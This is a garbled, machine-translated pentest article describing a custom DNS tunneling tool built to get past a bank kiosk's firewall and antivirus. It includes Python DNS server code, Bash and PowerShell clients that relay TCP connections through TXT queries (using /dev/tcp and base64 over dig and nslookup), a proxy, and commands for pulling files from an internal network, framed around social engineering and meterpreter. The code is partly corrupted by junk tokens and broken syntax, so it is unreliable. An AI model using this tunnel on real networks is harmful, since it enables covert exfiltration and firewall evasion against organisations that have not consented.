Traffic at the end of the tunnel or DNS in pentest

 3r33882. 3r3-31. 3r33867. Traffic at the end of the tunnel or DNS in pentest 3r33869. 3r33865.  3r33882.
What are DNS tunnels
3r33865.  3r33882. 3r33867. On Habré is already some 3r33869.
Articles 3r36969. where it explains what DNS tunneling is. However, a bit of theory about DNS tunneling can be found under the spoiler. 3r33838. 3r33865.  3r33882. 3r33412.
What is DNS tunneling [/b] 3r3155. 3r33867. It happens that the access to the network is tightly cut off by the firewall, and you need to transfer data badly, and then the DNS tunneling technique comes to the rescue. 3r33838. 3r33865.  3r33882. 3r33867. In the diagram, everything looks like this:
 3r33882. What is popular at the moment
3r33865.  3r33882. 3r33867. Now on the Internet you can find many utilities for the operation of this technique - each with its own features and bugs. We chose for comparison testing the five most popular ones: 3r33870. 3r33865.  3r33882. 3r3174.  3r33882. 3r33859. dnscat2
 3r33882. 3r33859. iodine
 3r33882. 3r33859. dns2tcp
 3r33882. 3r33859. Heyoka
 3r33882. 3r33859. OzymanDNS
 3r33882. 3r3190. 3r33865.  3r33882. 3r33867. You can read more about how we tested them in our article on 3r375. Hacker
. Here we give only the results. 3r33838. 3r33865.  3r33882. 3r33867. We create our own utility for DNS tunneling 3r3108. 3r33865.  3r33882. 3r3111. Prehistory
3r33865.  3r33882. 3r33867. It all started during the internal pentest of one bank. In the hall there was a public computer used for printing documents, references and other papers. Our goal: to get the most benefit from the machine that was running Windows ? had “Kaspersky Anti-Virus” on board and allowed to go only to certain pages (but there was also the possibility of resolving DNS names). 3r33838. 3r33865.  3r33882. 3r33867. After conducting a primary analysis and receiving additional data from the car, we developed several attack vectors. The ways of using the machine with the help of binary programs were immediately removed to the side, since “great and terrible” “Kaspersky” immediately rubbed it upon detecting the executable file. However, we were able to get the ability to run scripts on behalf of the local administrator, after which one of the ideas was just the possibility of creating a DNS tunnel. 3r33838. 3r33865.  3r33882. 3r33867. Searching for possible methods, we found a client on PowerShell for dnscat2 (we wrote about it earlier). But in the end, the maximum that we managed to make was to establish a connection for a short time, after which the client fell. 3r33838. 3r33865.  3r33882. 3r33867. This, to put it mildly, upset us greatly, since in this situation the presence of an interpreted client was simply necessary. Actually, this was one of the reasons for developing your own tool for DNS tunneling. 3r33838. 3r33865.  3r33882.
Requirements 3r33838. 3r33865.  3r33882. 3r33867. The main requirements for ourselves are: 3r33870. 3r33865.  3r33882. 3r3174.  3r33882. 3r33859. the availability of universal (as far as possible) and interpretable clients for Unix and Windows systems. For customers, the languages ​​bash and Powershell were chosen, respectively. In the future, a Perl client for unix is ​​planned; 3r33862.  3r33882. 3r33859. possibility of traffic forwarding from a specific application; 3r33862.  3r33882. 3r33859. Multiple client support per user. 3r33862.  3r33882. 3r3190. 3r33865.  3r33882.
Architecture Project 3r33838. 3r33865.  3r33882. 3r33867. Based on the requirements, we started to develop. In our view, the utility consists of 3 parts: the client on the internal machine, the DNS server, and a small proxy between the pentester application and the DNS server. 3r33838. 3r33865.  3r33882. 3r33867. 3r3162. 3r33838. 3r33865.  3r33882. 3r33867. To begin with, we decided to forward the tunnel through TXT records. 3r33838. 3r33865.  3r33882. 3r33867. The principle of operation is quite simple:
3r33865.  3r33882. 3r3174.  3r33882. 3r33859. Pentester starts the DNS server. 3r33862.  3r33882. 3r33859. The Pentester (or the user, through social engineering) launches the client on the internal machine. On the client there are such parameters as the client's name and domain, as well as the ability to directly specify the IP address of the DNS server. 3r33862.  3r33882. 3r33859. The Pentester (from the external network) starts the proxy, where it indicates the IP address of the DNS server, as well as the port where to knock, the IP targets (for example, ssh on the internal network where the client is sitting) and, accordingly, the target port. You also need a customer ID, which can be obtained by adding the key 3r33860. --clients . 3r33862.  3r33882. 3r33859. Pentester launches the application of interest, pointing the proxy port to localhost. 3r33862.  3r33882. 3r3190. 3r33865.  3r33882. 3r3193. Protocol communication 3r33838. 3r33865.  3r33882. 3r33867. Consider a fairly simple protocol for communicating a server with a client. 3r33838. 3r33865.  3r33882.
Registration
3r33865.  3r33882. 3r33867. When the client starts, it registers with the server, requesting a TXT record through a subdomain of the following format: 3r3707. 3r33865.  3r33882. 3r33867. 3r33860. 0 <7 random chars>
.
3r33861. 3r33838. 3r33865.  3r33882. 3r33867. 0 - registration key
 3r33882. 3r33860. <7 random chars> 3r33861. - to avoid caching DNS records
 3r33882. 3r33860.
3r33861. - the name given to the client when running
 3r33882. 3r33860.
3r33861. - ex .: xakep.ru
 3r33882. In case of successful registration, the client in the TXT response receives a success message, as well as an id assigned to it, which he will continue to use. 3r33838. 3r33865.  3r33882.
The main loop
3r33865.  3r33882. 3r33867. After registration, the client begins to poll the server for the availability of new data in the format 3r33870. 3r33865.  3r33882. 3r33867. 3r33860. 1 <7 random chars>
.
3r33861. 3r33838. 3r33865.  3r33882. 3r33867. In the case of the availability of new data, in the TXT response, it receives them in the format 3-3-33870. 3r33865.  3r33882. 3r33867. 3r33860.
:
:
3r33861. otherwise, comes ND 3r33861. . 3r33838. 3r33865.  3r33882.

The data loading cycle

3r33865.  3r33882. 3r33867. The client in the loop checks if the data came from our 3r33860. 3r33861. . If there is an answer, we read, from what has come, a buffer of N Kb in size, we divide it into blocks of length 250-3r38282. - <количество протокольных символов> 3r33861. and helmet data block by format:
 3r33882. 3r33860. 2 <4randomchars> . . 3r33861. 3r33838. 3r33865.  3r33882. 3r33867. If the block is successfully transmitted, we get OK with some data about the block transferred, and if the transfer of the buffer is completed, we get 3r36060. ENDBLOCK
. 3r33838. 3r33865.  3r33882. 3r3303. DNS server 3r33838. 3r33865.  3r33882. 3r33867. The DNS server for tunneling was written in Python3 using the dnslib library, which allows you to easily create your own DNS resolver by inheriting from the dnslib.ProxyResolver object and overriding the resolve method). 3r33838. 3r33865.  3r33882. 3r33867. Gorgeous dnslib allows you to create your ProxyDNS very quickly: 3r33865.  3r33882. 3r33412. A little server code [/b] 3r3155.
    class Resolver (ProxyResolver):
3r33882. def __init __ (self, upstream):
super () .__ init __ (upstream, 5? 5) 3r3-3882. 3r33882. def resolve (self, request, handler):
# magic method
domain_request = DOMAIN_REGEX.findall (str (request.q.qname))
type_name = QTYPE[request.q.qtype]3r33882. 3r33882. if not domain_request:
# All DNS queries that do not belong to the tunnel are sent to another place: for example, to google
return super (). resolve (request, handler)
3r33882. # THAT CODE, which defines the variable result
3r33882. reply = request.reply ()
reply.add_answer (RR (
rname = DNSLabel (str (request.q.qname)),
rtype = QTYPE.TXT,
rdata = dns.TXT (wrap (result, 255)), # divide the answer by parts of 255 characters, if it is large, observing the standard
ttl = 300
))
3r33882. if reply.rr:
return reply
3r33882. if __name__ == '__main__':
port = int (os.getenv ('PORT', 53))
upstream = os.getenv ('UPSTREAM', '???.8') # where we send requests not for the
tunnel. resolver = Resolver (upstream)
udp_server = DNSServer (resolver, port = port)
tcp_server = DNSServer (resolver, port = port, tcp = True)
udp_server.start_thread ()
tcp_server.start_thread ()
try: 3r38282. while udp_server.isAlive ():
sleep (1)
except KeyboardInterrupt:
pass
3r38080. 3r33878. 3r33878. 3r33865.  3r33882. 3r33867. In resolve (), we define reactions to DNS requests from the client: registration, request for new records, reverse data transfer and deletion of the user. 3r33838. 3r33865.  3r33882. 3r33867. The user information is stored in the SQLite database, the clipboard is in RAM and has the following structure, in which the key is the client number: 3r3707. 3r33865.  3r33882.
    {
{
"target_ip": "???.2", # IP “victims” - where forwards requests
"target_port": "", # Port of the victim
"socket": None, # Socket for data exchange with Penterster
"buffer": None, # receive buffer from pentester
"upstream_buffer": b '' # buffer for receiving data from client 3r33838.}, 3r33882.}
3r38080. 3r33865.  3r33882. 3r33867. To put data from the pentester into the buffer, we wrote a small “receiver”, which is running in a separate stream. It catches connections from the pentester and performs routing: which client to send requests. 3r33838. 3r33865.  3r33882. 3r33867. Before starting the server, the user needs to set only one parameter: DOMAIN_NAME - the name of the domain with which the server will work. 3r33838. 3r33865.  3r33882.

Client on Bash

3r33865.  3r33882. 3r33867. Bash was chosen for writing client for Unix systems, as it is most often found in modern Unix systems. Bash provides the ability to establish a connection via /dev /tcp /, even with unprivileged user rights. 3r33838. 3r33865.  3r33882. 3r33867. We will not analyze each piece of code in detail, we will look only at the most interesting moments. 3r33865.  3r33882. The principle of the client is simple. To communicate with the DNS uses the standard utility 3r33860. dig . The client is registered on the server, and then, in the eternal cycle, it starts to perform requests using the protocol described earlier. Under the spoiler more. 3r33838. 3r33865.  3r33882. 3r33412. Read more about Bash client [/b] 3r3155. 3r33867. There is a check whether the connection was established, and if so, the reply function is executed (reading incoming data from the target, splitting and sending to the server). 3r33838. 3r33865.  3r33882. 3r33867. After that, it is specified whether there is new data from the server. If they are detected, then we check whether the connection needs to be dropped. The break itself occurs when we receive information about the target with ip ???.0 and port 00. In this case, we clear the file descriptor (if it is not open, there will be no problems) and change the target ip to the incoming ???.0. 3r33838. 3r33865.  3r33882. 3r33867. Next on the code we see if there is a need to establish a new connection. As soon as the following messages start sending us data for the target, we, in case the previous ip does not match the current one (after a reset, it will be so), change the target to a new one, and establish a connection via the command exec 3 <>/dev/tcp/$ip/$port where $ ip - target, 3r33860. $ port 3r33861. - target port. 3r33865.  3r33882. As a result, if the connection is already established, then the incoming piece of data is decoded and flies into the handle afterwith team 3r36060. echo -e -n $ {data_array[2]} | base64 -d> & 3 where $ {data_array[2]} - what we got from the server. 3r33838. 3r33865.  3r33882.
    while:
do
if[[$is_set = 'SET' ]]
then
reply
fi 3r33882. 3r33882. data = $ (get_data $ id)
3r33882. if[[${dаta:0:2} = $id ]]
then
3r33882. if[[${dаta:2:2} = 'ND' ]]
then
sleep 0.1 r3r3882 else
IFS = ':' read -r -a data_array $ data
data = $ {data_array[0]}
is_id = $ {dаta: 0: 2}
ip = $ {dаta: 2}
port = $ {data_array[1]}
3r33882. if[[$is_id = $id ]]
then
3r33882. if[[$ip = '0.0.0.0' && $port = '00' ]]
then
exec 3 <&-
exec 3> & -
is_set = 'NOTSET'
echo "Connection OFF"
last_ip = $ ip
fi 3r33882. 3r33882. if[[$last_ip != $ip ]]
then
exec 3 <>/dev/tcp/$ip/$port
is_set = 'SET'
echo "Connection ON"
last_ip = $ ip
fi 3r33882. 3r33882. if[[$is_set = 'SET' ]]
then
echo -e -n $ {data_array[2]} | base64 -d> & 3
fi 3r33882. 3r33882. fi 3r33882. fi 3r33882. fi 3r33882. done
3r38080. 3r33865.  3r33882. 3r33867. Now consider sending in the reply function. First we read 2048 bytes from the descriptor and immediately encode them through $ (timeout 0.1 dd bs = 2048 count = 1 <&3 2> /dev /null | base64 -w0 ). Further, if the answer is empty, we exit the function, otherwise we start the operation on splitting and sending. Note that after forming the request for sending via dig, the delivery is checked for success. If successful, we exit the cycle, otherwise we try until we succeed. 3r33838. 3r33865.  3r33882.
    reply () {
3r33882. response = $ (timeout 0.1 dd bs = 2048 count = 1 <&3 2> /dev /null | base64 -w0)
3r33882. if[[$response != '' ]]
then
debug_echo 'Got response from target server'
response_len = $ {# response}
number_of_blocks = $ (($ {response_len} /$ {MESSAGE_LEN}))
3r33882. if[[$(($response_len % $MESSAGE_LEN)) = 0 ]]
then
number_of_blocks- = 1
fi 3r33882. 3r33882. debug_echo 'Sending message back ' 3r33838. point = 0 r3r3882. 3r33882. for ((i = $ number_of_blocks; i> = 0; i--))
do
blocks_data = $ {response: $ point: $ MESSAGE_LEN}
3r33882. if[[${#blocks_data} -gt 63 ]]
then
localpoint = 0
3r33882. while:
do
block = $ {blocks_dаta: localpoint: 63}
3r33882. if[[$block != '' ]]
then
dat + = $ block. 3r33882. localpoint = $ ((localpoint + 63)) 3r33882. else
break
fi 3r33882. 3r33882. done
3r33882. blocks_data = $ dat
dat = "
point = $ ((point + MESSAGE_LEN))
else
blocks_data + =. 3r33882. fi 3r33882. 3r33882. while:
do
block = $ (printf% 03d $ i)
check_deliver = $ (dig $ {HOST} 2 $ (generate_random 4) $ id $ block. $ blocks_data $ {DNS_DOMAIN} TXT | grep -oP '"K[^"]+')
3r33838. if[[$check_deliver = 'ENDBLOCK' ]]
Debug_echo 'Message delivered!'
Break
Fi
IFS = ':' read -r -a-check_deliver_array $ check_deliver
} = 'OK']]&&[[$((10#${deliver_dаta:2})) = $i ]]&&[[${deliver_dаta:0:2} = $id ]]3r3-388? then 3r3828? break 3r3-3882. Fi
3r38282. Done
Done
Else
Done 3r3882. 3r38282. Fi 3-33882. 3r33882.} 3r36161. 3r3-3808. 3r37878. 3r37878.
 3r33882. 3r33585. Powershell client: 3r33865.  3r33882. 3r33867. Since we needed complete interpretability and work on most current systems, the client-side client for Windows is the standard nslookup utility for communicating via DNS and the System.Net.Sockets.TcpClient object for establishing a connection on the internal network. 3r33838. 3r33865.  3r33882. 3r33867. Everything is also very simple. Each loop iteration is a call to the nslookup command using the protocol described earlier. 3r33838. 3r33865.  3r33882. 3r33867. For example, for registration we execute the command:
 3r33882. 3r33860. $ text = & nslookup -q = TXT $ act $ seed $ clientname $ Dot $ domain $ server 2> $ null
3r33865.  3r33882. If errors occur, we do not show them by sending the error descriptor values ​​to $ null. 3r33838. 3r33865.  3r33882. 3r33867. nslookup returns us a similar answer:
 3r33882. 3r3610. 3r33838. 3r33865.  3r33882. 3r33867. After that, we need to pull out all the lines in quotes, for which we pass through them in regular intervals: 3r33865.  3r33882. 3r33867. 3r33860. $ text =[regex]:: Matches ($ text, '"(. *)"') | % {$ _. groups[1].value} | % {$ _ -replace '(["t]+)', $ ('')} 3r33838. 3r33865.  3r33882. 3r33867. Now you can process the received commands. 3r33865.  3r33882. Each time the IP address of the “victim” changes, a TCP client is created, a connection is established, and data transfer begins. From the DNS server, the base64 information is decoded, and the bytes are sent to the victim. If the “victim” answered something, then we encode, divide into parts and execute nslookup requests according to the protocol. Everything. 3r33865.  3r33882. When you press Ctrl + C, you are prompted to delete the client. 3r33838. 3r33865.  3r33882. 3r33232. Proxy: 3r33838. 3r33865.  3r33882. 3r33867. Proxy for pentester is a small proxy server on python3. 3r33838. 3r33865.  3r33882. 3r33867. , 3r33860. - target_port - target port , 3r33860. --client - id of the client with whom we will work (seen after the execution of 3r33860. --Clients ), 3r33860. --send_timeout - timeout for sending messages from the application. 3r33838. 3r33865.  3r33882. 3r33867. When run with option --clients , the proxy sends the server a request in the format 3r33860. x00GETCLIENTSn . 3r33865.  3r33882. In the case when we start work, when connected, we send a message in the format 3r-3860. x02RESET: client_idn to reset the previous connection. After we send information about our goal: x01client_id: ip: port: n 3r33865.  3r33882. Further, when sending messages to the client, we send bytes in the format x03data , and we just send raw bytes to the application. 3r33865.  3r33882. Also, the proxy supports SOCKS5 mode. 3r33838. 3r33865.  3r33882.

What difficulties may arise? 3r33838. 3r33865.  3r33882. 3r33867. As with any mechanism, the utility may fail. Let's not forget that a DNS tunnel is a subtle thing, and its work can be influenced by many factors, ranging from network architecture, to connection quality to your production server. 3r33838. 3r33865.  3r33882. 3r33867. During testing, we occasionally noticed small failures. For example, at a high print speed, working via ssh, you should set the parameter 3r36060. --send_timeout , since otherwise the client starts to hang. Also, sometimes the connection may not be established the first time, but this is easily treated by restarting the proxy, since with the new connection the past connection will be reset. There were also problems with resolving domains when working with proxychains, however this is also fixable if you specify an additional parameter for proxychains. It is worth noting that at the moment the utility does not control the appearance of unnecessary requests from caching DNS servers, so sometimes the connection may fall, but this is again treated in the manner described above. 3r33838. 3r33865.  3r33882.

Run 3r33838. 3r33865.  3r33882. 3r33867. We configure NS records on the domain: 3r33865.  3r33882. 3r33867.  3r33882. 3r33860. python3 ./server.py --domain oversec.ru 3r33838. 3r33865.  3r33882. 3r33867. Start the client (Bash):
 3r33882. 3r33860. bash ./bash_client.sh -d oversec.ru -n TEST1 3r33838. 3r33865.  3r33882. 3r33867. Start the client (Win):
 3r33882. 3r33860. PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2 3r33838. 3r33865.  3r33882. 3r33867. Let's see the list of connected clients:
 3r33882. 3r33860. python3 ./proxy.py --dns ???.150 --dns_port 9091 --clients 3r33838. 3r33865.  3r33882. 3r33867. Run the proxy:
 3r33882. 3r33860. python3 ./proxy.py --dns ???.150 --dns_port 9091 --socks5 --localport 9090 --client 1 3r33838. 3r33865.  3r33882. 3r33867. Testing: 3r33865.  3r33882. 3r33867. After the server and at least one client have been started, we can access the proxy as if it were our remote machine. 3r33865.  3r33882. Let's try to simulate the following situation: the pentester wants to download the file from the server from the local network of the organization protected by a firewall, while using social engineering methods he could force the DNS client to run inside the network and find out the SSH server password. 3r33838. 3r33865.  3r33882. 3r33867. The Pentester runs a proxy on his machine, indicating the necessary client, and then can make similar calls that go to the client, and from the client to the local network. 3r33865.  3r33882. 3r33860. scp -P9090 -C root @ localhost: /root/dnserver.py test.kek 3r33838. 3r33865.  3r33882. 3r33867. Let's see what happened: 3r33865.  3r33882. 3r33867. 3r33865.  3r33882. 3r33867. 3r3r6786. 3r33838. 3r33865.  3r33882. 3r33867. Let's look carefully at the DNS server traffic, for this we use the tcpdump utility. 3r33865.  3r33882. 3r33860. tcpdump -i eth0 udp port 53 3r33838. 3r33865.  3r33882. 3r33867. 3r3799. 3r33838. 3r33865.  3r33882. 3r33867. We see that everything corresponds to the described protocol: the client constantly polls the server if it has any new data for this client using requests of the form 3r36060. 1c6Zx9Vi39.oversec.ru . If there is data, the server is respondingem a set of TXT records, and otherwise% client_num% ND (3r3-3860. 39ND ). The client sends information to the server using requests of the form 3r33860. 28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru. 3r33861. 3r33838. 3r33865.  3r33882. 3r33867. In the following videos you can visually see the work of the utility in conjunction with meterpreter and in SOCKS5 mode. 3r33838. 3r33865.  3r33882.

3r3828.
+ 0 -

Add comment